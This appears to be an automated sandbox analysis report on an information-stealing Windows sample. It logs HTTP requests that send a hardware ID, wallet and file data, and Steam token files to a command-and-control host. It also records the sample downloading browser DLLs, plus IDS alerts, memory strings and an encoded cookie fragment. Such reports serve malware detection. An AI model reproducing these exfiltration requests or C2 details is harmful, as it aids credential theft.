name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJDHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 2d 2d 0d 0a Data Ascii: ------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="file"------HJDGHIJDGCBAAAAAFIJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 2d 2d 0d 0a Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file"------BFHDAEHDAKECGCAKFCFI--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAEHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="message"wallets------KFCFIEHCFIECBGCBFHIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="message"files------IECFIEGDBKJKFIDHIECG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="file"------BAEBFIIECBGCBGDHCAFC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="message"ybncbhylepme------JDBFIIEBGCAKKEBFBAAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECAHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 2d 2d 0d 0a Data Ascii: ------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEHJKJEBGHJJKEBGIECA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.37:80

Source: unknown

DNS traffic detected: query: 206.23.85.13.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003260A0 InternetOpenA,StrCmpCA,InternetOpenUrlA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_003260A0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 34 30 33 34 44 42 35 46 45 31 30 33 30 33 36 31 34 34 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="hwid"88F4034DB5FE1030361446------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="build"doma------DBAEHCGHIIIDHIECFHJD--

Source: file.exe, 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de1
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll)
Source: file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlle
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll0de163924d/nss3.dllv
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpV
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpb
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpp
Source: file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php~
Source: file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37s
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
